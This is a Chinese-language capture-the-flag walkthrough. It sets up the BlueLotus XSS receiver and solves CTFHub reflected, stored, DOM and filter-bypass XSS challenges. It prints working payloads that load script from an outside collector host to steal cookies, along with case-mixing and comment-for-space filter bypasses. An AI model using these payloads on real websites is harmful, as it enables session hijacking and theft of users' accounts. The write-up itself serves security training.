一、搭建XSS平台
安装
1、我这里安装在本地的Phpstudy上,安装过程就是一路下一步(可以改安装路径),附上下载链接:
# 官网:https://www.xp.cn/download.html
# 蓝莲花 - github下载
https://github.com/firesunCN/BlueLotus_XSSReceiver
phpstudy安装完成后启动服务
将解压后的BlueLotus_XSSReceiver原代码放置 phpstudy 安装目录的WWW文件夹
然后在浏览器中输入:http://本机ip/BlueLotus_XSSReceiver-master # 访问我们刚才拉到www文件夹下的BlueLotus_XSSReceiver文件,进入安装界面
2、配置XSS接收平台 - 蓝莲花
插入模板
填写接收数据的url ,格式:当前蓝莲花平台的url + 文件名(文件名自己取)
示例
最后选择生成paload
测试一下
3、将攻击语句复制保存下来,等下要用
<script src="http://127.0.0.1/BlueLotus_XSSReceiver-master/myjs/text.js"></script>
攻击演示
本地演示
突然想到一个问题,我刚才制作的攻击语句中的IP是本地的回环地址,所以如果我在虚拟机的靶场中测试攻击,那么我的蓝莲花平台是接收不到的,所以这里先在本地的靶场测试,等下在演示在虚拟机中的(如果蓝莲花平台部署在云服务器,就能攻击其他互联网用户)
解除输入框的字符限制
回到平台查看攻击
点击查看邮件信息
虚拟机演示
ipconfig # 查看本机ip
使用本机IP访问蓝莲花平台测试看看
重新构造攻击paload
<script src="http://192.168.100.58//BlueLotus_XSSReceiver-master/myjs/text.js"></script>
回到平台
二、反射型
(1)首先尝试用蓝莲花xss平台打cookie;但是不知道哪个步骤出现问题;老是获取不了cookie
示例:payload:
获取响应:
结果:(就是没有cookie;不知道哪个环境出现问题)
(2)尝试了大佬的在线xss平台;成功了。自己重新搭建了一个另一个xss平台也成功拿到flag;需要在docker容器搭建,不演示了);但是蓝莲花的这个问题一直没有被解决;就是很垃圾!
在线xss平台:https://xssaq.com/
(该平台主机上线有提示语音并且功能比蓝莲花和我搭建的另一个xss平台都好,所以就借助大佬搭建的xss平台作为本期演示平台)
成功拿到flag
三、存储型
(1)将payload上传到第一个输入框
此时主机上线不携带cookie
将url输入到第二个输入框;xss平台提示上线成功,此时携带cookie
还能看到当前的网页截屏
四、DOM反射
(1)首先插入<script>alert(1)</script>
,发现攻击不成功,而返回的是;我们查看源码发现需要构造闭合
'></script><script>alert(1)</script>
发现成功了!
构造payload'></script><sCRiPt sRC=//xs.pe/cqW></sCrIpT>
,获取flag
五、DOM跳转
(1)首先尝试,不成功;尝试构造js语句http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800?jumpto=javascript:alert(1)
发现成功了,那么直接使用xss平台获取cookiehttp://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xs.pe/cqW")
拿到flag
六、过滤空格
(1)使用paylod发现空格被过滤了<sCRiPt sRC=//xs.pe/cqW></sCrIpT>
(2)直接使用/**/
代替空格即可绕过
<sCRiPt/**/sRC=//xs.pe/cqW></sCrIpT>
拿到flag
七、过滤关键词
(1)正交提交脚本测试发现将scr开头的单词全部替换为空
(2)尝试了双写;不行;那就尝试一下大小写吧;好像可以;直接注入payload拿到flag